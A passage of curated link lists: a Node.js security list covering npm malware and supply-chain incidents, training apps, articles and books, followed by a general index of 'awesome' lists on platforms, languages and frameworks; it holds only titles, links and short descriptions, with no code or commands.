| 2021 April 13 | New Linux, macOS malware hidden in fake Browserify NPM package: web-browserify | [Bleepingcomputer](https://www.bleepingcomputer.com/news/security/new-linux-macos-malware-hidden-in-fake-browserify-npm-package). |
| 2020 December 02 | **jdb.js - db-json.js** - malicious npm packages caught installing remote access trojans. | [zdnet.com](https://www.zdnet.com/google-amp/article/malicious-npm-packages-caught-installing-remote-access-trojans/), [Bleepingcomputer](https://www.bleepingcomputer.com/news/microsoft/malicious-npm-packages-used-to-install-njrat-remote-access-trojan/). |
| 2020 November 09 | **discord malicious npm package** - Npm package caught stealing sensitive Discord and browser files | [sonatype](https://blog.sonatype.com/discord.dll-successor-to-npm-fallguys-), [zdnet](https://www.zdnet.com/article/npm-package-caught-stealing-sensitive-discord-and-browser-files/). |
| 2020 November 03 | **twilio-npm** - malicious npm package opens backdoors on programmers' computers. | [zdnet](https://www.zdnet.com/article/malicious-npm-package-opens-backdoors-on-programmers-computers) |
| 2020 August 29 | **fallguys** - malicious package stealing sensitive files. | [zdnet](https://www.zdnet.com/article/malicious-npm-package-caught-trying-to-steal-sensitive-discord-and-browser-files/) |
| 2020 April 27 | **is-promise** - one-liner library breaks an ecosystem. | [Forbes Lindesay - Maintainer post-mortem](https://medium.com/javascript-in-plain-english/is-promise-post-mortem-cab807f18dcc), [snyk's postmortem](https://snyk.io/blog/why-did-is-promise-happen-and-what-can-we-learn-from-it/) |
| 2019 August 22 | **bb-builder** - malicious package targeting Windows systems to exfiltrate information and send to a remote service. | [Snyk](https://snyk.io/vuln/SNYK-JS-BBBUILDER-460132), [Reversing Labs](https://blog.reversinglabs.com/blog/the-npm-package-that-walked-away-with-all-your-passwords), [Bleeping Computer](https://www.technadu.com/malicious-package-stealing-user-credentials-npm-repository/77482/) |
| 2019 June 05 | **EasyDEX-GUI** - malicious code found in npm package event-stream. | [npm](https://blog.npmjs.org/post/185397814280/plot-to-steal-cryptocurrency-foiled-by-the-npm), [snyk](https://snyk.io/blog/yet-another-malicious-package-found-in-npm-targeting-cryptocurrency-wallets), [komodo announcement](https://komodoplatform.com/update-agama-vulnerability/) |
| 2018 November 27 | **event-stream** - malicious code found in npm package event-stream. | [github issue](https://github.com/dominictarr/event-stream/issues/116) [snyk](https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream), [snyk's postmortem](https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor), [schneid](https://schneid.io/blog/event-stream-vulnerability-explained/), [intrinsic](https://medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502), [npm](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident), [jayden](https://jaydenseric.com/blog/event-stream-compromise), [hillel wayne's postmortem](https://www.hillelwayne.com/post/stamping-on-eventstream/) |
| 2018 July 12 | **eslint** - malicious packages found in npm package eslint-scope and eslint-config-eslint. | [github issue](https://github.com/eslint/eslint-scope/issues/39), [eslint tweet](https://twitter.com/geteslint/status/1017419074136092673?lang=en), [eslint's postmortem](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes), [nodesource's postmortem](https://nodesource.com/blog/a-high-level-post-mortem-of-the-eslint-scope-security-incident/), [npm's statement](https://status.npmjs.org/incidents/dn7c1fgrr7ng) |
| 2018 May 02 | **getcookies** - malicious package getcookies gets embedded in higher-level express related packages. | [GitHub issue](https://github.com/RocketChat/Rocket.Chat/issues/10641), [npm](https://blog.npmjs.org/post/173526807575/reported-malicious-module-getcookies), [bleepingcomputer.com](https://www.bleepingcomputer.com/news/security/somebody-tried-to-hide-a-backdoor-in-a-popular-javascript-npm-package/), [Snyk’s getcookies vulnerability page](https://snyk.io/vuln/npm:getcookies:20180502), [Hacker News](https://news.ycombinator.com/item?id=16975025) |
| 2018 Feb 13 | maintainer account with access to conventional-changelog npm package compromised and published malware for 1 day and 11 hours | [conventional-changelog repository update](https://github.com/conventional-changelog/conventional-changelog/issues/282#issuecomment-365367804)
| 2017 August 02 | **crossenv** - malicious typosquatting package crossenv steals environment variables. | [CJ blog on typosquat packages](https://medium.com/@ceejbot/crossenv-malware-on-the-npm-registry-45c7dc29f6f5), [Typosquatting research paper](https://incolumitas.com/2016/06/08/typosquatting-package-managers/), [bleepingcomputer.com](https://www.bleepingcomputer.com/news/security/javascript-packages-caught-stealing-environment-variables/), [Snyk’s crossenv vulnerability page](https://snyk.io/vuln/npm:crossenv:20170802), [Hacker News](https://news.ycombinator.com/item?id=14901566) |
| 2016 March 22 | **left-pad** - how one developer broke Node, Babel and thousands of projects in 11 lines of JavaScript. | [left-pad.io](http://left-pad.io), [The Register](https://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos), [qurtaz](https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code). |
Follow-up notes:
* A resource for malicious incidents is [BadJS](https://badjs.org/) - a repository of malicious JavaScript that has been found in websites, extensions, npm packages, and anywhere else JavaScript lives.
* [npm zoo](https://github.com/spaceraccoon/npm-zoo) is an archive keeping track of the original malicious packages source code for educational purposes.
# Educational
## Hacking Playground
- [OWASP NodeGoat](https://github.com/OWASP/NodeGoat) - The OWASP NodeGoat project provides an environment to learn how OWASP Top 10 security risks apply to web applications developed using Node.js and how to effectively address them.
- [OWASP Juice Shop](https://github.com/bkimminich/juice-shop) - The OWASP Juice Shop is an intentionally insecure webapp for security trainings written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.
- [DomGoat](https://domgo.at/cxss/intro) - Client XSS happens when untrusted data from sources ends up in sinks. Information and excercises on different sources, different sinks and example of XSS occuring due to them in the menu on the left-hand side.
## Articles
- [A Roadmap for Node.js Security](https://node-sec-roadmap-fyi.uc.r.appspot.com/) (original domain https://nodesecroadmap.fyi/ not available. See [#42](https://github.com/lirantal/awesome-nodejs-security/issues/42))
- [10 npm security best practices](https://snyk.io/blog/ten-npm-security-best-practices/)
- [OWASP Cheat Sheet Series - Node.js Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_security_cheat_sheet.html)
- [What is a backdoor? Let’s build one with Node.js](https://snyk.io/blog/what-is-a-backdoor/)
- [The Anatomy of a Malicious Package](https://blog.phylum.io/malicious-javascript-code-in-npm-malware/)
- [Why npm lockfiles can be a security blindspot for injecting malicious modules](https://snyk.io/blog/why-npm-lockfiles-can-be-a-security-blindspot-for-injecting-malicious-modules/)
- [GitHub Actions to securely publish npm packages](https://snyk.io/blog/github-actions-to-securely-publish-npm-packages/)
- [Top 11 Node.js security best practices | Sqreen.com](https://blog.sqreen.com/nodejs-security-best-practices/)
- [A Tale of (prototype) Poisoning](https://www.fastify.io/docs/latest/Guides/Prototype-Poisoning/)
## Research Papers
- [Deep dive into Visual Studio Code extension security vulnerabilities](https://snyk.io/blog/visual-studio-code-extension-security-vulnerabilities-deep-dive)
## Books
- [Secure Your Node.js Web Application: Keep Attackers Out and Users Happy](https://www.amazon.com/Secure-Your-Node-js-Web-Application-ebook/dp/B01BPPUP30) by Karl Duuna, 2016
- [Essential Node.js Security](https://leanpub.com/nodejssecurity) by Liran Tal, 2017 - Hands-on and abundant with source code for a practical guide to Securing Node.js web applications.
- [Securing Node JS Apps
](https://leanpub.com/securingnodeapps) by Ben Edmunds, 2016 - Learn the security basics that a senior developer usually acquires over years of experience, all condensed down into one quick and easy handbook.
- [Web Developer Security Toolbox
](https://leanpub.com/b/webdevelopersecuritytoolbox) - Bundled Node.js and Web Security Books.
- [Thomas Gentilhomme](https://github.com/fraxken) book: [Become a Node.js Developer](https://github.com/fraxken/ebook_nodejs)
## Roadmaps
- [Node.js Developer Roadmap](https://roadmap.sh/nodejs)
# Companies
- [Snyk](https://snyk.io) - A developer-first solution that automates finding & fixing vulnerabilities in your dependencies.
- [Sqreen](https://sqreen.io) - Automated security for your web apps - real time application security protection.
- [NodeSource](https://nodesource.com) - Mission-critical Node.js applications. Provides N|Solid and Node Certified Modules.
- [GuardRails](https://www.guardrails.io) - A GitHub App that gives you instant security feedback in your Pull Requests.
- [NodeSecure](https://github.com/NodeSecure) - An organization of developers building free and open source JavaScript/Node.js security tools.
# Contributing
Found an awesome project, package, article, other type of resources related to Node.js Security? Send me a pull request!
Just follow the [guidelines](/CONTRIBUTING.md). Thank you!
---
say *hi* on [Twitter](https://twitter.com/liran_tal)
## License
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## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
- [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
- [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods.
